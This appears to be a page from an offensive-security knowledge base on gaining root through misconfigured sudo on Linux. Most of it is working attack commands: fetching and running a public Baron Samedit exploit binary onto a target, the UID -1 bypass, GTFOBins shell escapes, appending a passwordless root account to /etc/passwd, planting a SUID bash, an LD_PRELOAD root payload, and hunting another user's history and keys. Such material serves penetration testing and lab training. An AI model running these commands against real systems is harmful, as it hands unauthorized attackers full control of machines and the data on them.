# Sudo Misconfiguration Privilege Escalation

> Exploiting misconfigured sudo rules to escalate privileges on Linux systems, covering NOPASSWD entries, sudoers abuse, and GTFOBins techniques.

- **URL:** https://hackindex.io/platforms/linux/privilege-escalation/sudo-misconfiguration
- **Path:** Linux > Privilege Escalation
- **Up:** [Privilege Escalation](https://hackindex.io/platforms/linux/privilege-escalation.md)
- **Published:** 2026-02-13
- **Updated:** 2026-07-14

`sudo` lets users run commands as root or another user based on rules in `/etc/sudoers`. Permissive rules, dangerous binaries, environment control, and unpatched sudo versions all provide escalation paths. Always check sudo first: it is the most common privesc vector in labs and real engagements.

## Sudo Privilege Escalation Checks

Check what the current user can run:

```bash
sudo -l
```

Key output patterns that enable escalation:

- `(ALL : ALL) NOPASSWD: ALL`: full root, no password
- `(root) NOPASSWD: /usr/bin/vim`: GTFOBins target
- `(ALL) NOPASSWD: /bin/*`: wildcard abuse
- `(user2) NOPASSWD: /opt/script.sh`: pivot to another user
- `SETENV` or `env_keep` entries: environment variable injection

Check sudo version immediately: this determines CVE applicability:

```bash
sudo --version
```

If `sudo -l` returns "no valid sudoers entries" this vector is closed. Move to [https://hackindex.io/platforms/linux/privilege-escalation/suid-binary-privilege-escalation](https://hackindex.io/platforms/linux/privilege-escalation/suid-binary-privilege-escalation) or [https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation](https://hackindex.io/platforms/linux/privilege-escalation/cron-job-privilege-escalation).

## CVE-2021-3156: Baron Samedit (Heap Overflow)

Affects sudo versions 1.8.2 through 1.9.5p1: most distributions before February 2021. Exploitable without any sudo permissions, just a local user account. One of the most reliable privesc CVEs of the last decade.

Check if vulnerable:

```bash
sudoedit -s '\' $(python3 -c 'print("A"*1000)')
# Segmentation fault
```

If the output is `Segmentation fault`, the target is vulnerable. If it shows `usage:` or similar error text, it is patched.

Check exact version against affected range:

```bash
sudo --version | head -1
# Vulnerable: 1.8.2 - 1.9.5p1
# Patched: 1.9.5p2+
```

Exploit using the Blasty PoC:

```bash
# On attack box
git clone https://github.com/blasty/CVE-2021-3156
cd CVE-2021-3156
make

# Transfer binary to target
python3 -m http.server 8080

# On target
wget http://$LHOST:8080/sudo-hax-me-a-sandwich
chmod +x sudo-hax-me-a-sandwich
./sudo-hax-me-a-sandwich
```

The binary auto-detects the target and spawns a root shell. If detection fails, specify the target manually:

```bash
./sudo-hax-me-a-sandwich 0   # Ubuntu 18.04
./sudo-hax-me-a-sandwich 1   # Ubuntu 20.04
./sudo-hax-me-a-sandwich 2   # Debian 10
```

## CVE-2019-14287: UID -1 Bypass

Affects sudo versions before 1.8.28. When a sudoers rule allows running as any user except root (`!root`), supplying UID `-1` or `4294967295` maps to root.

Check version:

```bash
sudo --version | head -1
# Vulnerable: < 1.8.28
```

Check for rules with `!root`:

```bash
sudo -l | grep -i "!root"
# e.g. (ALL, !root) NOPASSWD: /bin/bash
```

Exploit:

```bash
sudo -u#-1 /bin/bash
# or
sudo -u#4294967295 /bin/bash
```

## GTFOBins: Allowed Binary Abuse

If a binary is listed via `sudo -l`, check [https://gtfobins.github.io/](https://gtfobins.github.io/) for its sudo escalation method.

**Editors: immediate shell:**

```bash
# vim
sudo vim -c ':!/bin/bash'

# nano: Ctrl+R Ctrl+X then:
sudo nano
^R^X
reset; sh 1>&0 2>&0

# less
sudo less /etc/passwd
!/bin/bash
```

**Interpreters: immediate shell:**

```bash
# python
sudo python3 -c 'import pty; pty.spawn("/bin/bash")'

# perl
sudo perl -e 'exec "/bin/bash"'

# ruby
sudo ruby -e 'exec "/bin/bash"'

# lua
sudo lua -e 'os.execute("/bin/bash")'

# node
sudo node -e 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})'
```

**File operations: overwrite /etc/passwd or plant SUID:**

```bash
# cp: overwrite passwd
cp /etc/passwd /tmp/passwd.bak
echo 'root2::0:0:root:/root:/bin/bash' >> /tmp/passwd.bak
sudo cp /tmp/passwd.bak /etc/passwd
su root2

# tar: extract with shell
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash

# find
sudo find /tmp -exec /bin/bash \;

# awk
sudo awk 'BEGIN {system("/bin/bash")}'
```

## Wildcard Abuse in Sudo Rules

When a rule contains a wildcard, test for path traversal and argument injection.

Rule: `NOPASSWD: /usr/bin/git checkout *`

```bash
# -p opens patch pager; type '!bash' in less to escape
sudo git checkout -p HEAD
```

Rule: `NOPASSWD: /usr/bin/zip *`

```bash
TF=$(mktemp -u)
sudo zip $TF /etc/passwd -T --unzip-command="sh -c /bin/bash"
```

Rule: `NOPASSWD: /usr/bin/tar *`

```bash
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/bash
```

## Editable Script Execution

Rule allows running a script you can write to:

```bash
# Check if the script is writable
ls -la /opt/backup.sh
getfacl -p /opt/backup.sh

# If writable, inject payload
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /opt/backup.sh
sudo /opt/backup.sh
/tmp/.rootbash -p
```

Also check the directory: if you cannot write the script but can write to its parent directory, replace it entirely:

```bash
ls -ld /opt/
mv /opt/backup.sh /opt/backup.sh.bak
echo '#!/bin/sh' > /opt/backup.sh
echo 'cp /bin/bash /tmp/.rootbash; chmod u+s /tmp/.rootbash' >> /opt/backup.sh
chmod +x /opt/backup.sh
sudo /opt/backup.sh
/tmp/.rootbash -p
```

## SETENV and LD_PRELOAD Abuse

If `sudo -l` shows `SETENV` or `env_keep += "LD_PRELOAD"`:

**/tmp/preload.c**

```c
#include <stdlib.h>
#include <unistd.h>

void __attribute__((constructor)) init() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
```

```bash
gcc -shared -fPIC -o /tmp/preload.so /tmp/preload.c

# Execute any allowed sudo command with LD_PRELOAD
sudo LD_PRELOAD=/tmp/preload.so /usr/bin/find
```

If `env_keep` includes `PYTHONPATH` or `PERL5LIB`, see [https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/python-library-hijacking) for the equivalent technique.

For a full LD_PRELOAD guide see [https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking](https://hackindex.io/platforms/linux/privilege-escalation/ld-preload-environment-hijacking).

## sudoedit File Write Abuse

`sudoedit` allows editing files as root. On some sudo versions it follows symlinks unsafely, allowing you to edit arbitrary files.

Check if sudoedit is allowed:

```bash
sudo -l | grep -i "sudoedit\|NOPASSWD.*edit"
```

If allowed on a path like `/var/www/html/*.php`, test symlink following:

```bash
# Create a symlink from allowed path to /etc/passwd
cd /var/www/html
ln -s /etc/passwd test.php

# Edit via sudoedit: may follow the symlink
sudoedit /var/www/html/test.php
```

Add a root user entry if the edit succeeds:

```
newroot::0:0:root:/root:/bin/bash
```

```bash
su newroot
```

## Pivot to Another User

Rule: `(deploy) NOPASSWD: /bin/bash`

```bash
sudo -u deploy /bin/bash
```

Once pivoted, re-enumerate from the new user's context:

```bash
sudo -l
id
ls -la /home/deploy/
cat /home/deploy/.bash_history
find /home/deploy -name "*.conf" -o -name "*.key" 2>/dev/null
```

The new user may have additional sudo rules, SSH keys, or access to services that lead to root. This is a common two-step chain in labs.

## Sudo Token Reuse

If another user recently ran sudo in the same TTY, their cached token may still be valid (default 15-minute window). Inject into their PTY to reuse it:

```bash
# Find processes with active sudo tokens
ls -la /proc/*/fd 2>/dev/null | grep pts

# Identify a root or sudo-capable user's terminal
ps aux | grep -v grep | grep -E "sudo|bash|sh"

# Inject into the TTY (requires write access to the TTY device)
# Get TTY of target process
cat /proc/$PID/stat | awk '{print $7}'
```

For the full sudo token reuse technique see [https://hackindex.io/platforms/linux/privilege-escalation/sudo-token-reuse](https://hackindex.io/platforms/linux/privilege-escalation/sudo-token-reuse).

## References

- [GTFOBins](https://gtfobins.github.io/) - Sudo and binary exploitation patterns
- [sudoers manual](https://man7.org/linux/man-pages/man5/sudoers.5.html) - Rule syntax and security implications
- [HackTricks Sudo Privesc](https://book.hacktricks.wiki/en/linux-hardening/linux-privilege-escalation-checklist.html) - Real-world examples and edge cases
- [CVE-2021-3156 PoC](https://github.com/blasty/CVE-2021-3156) - blasty Baron Samedit heap overflow exploit with auto-detection.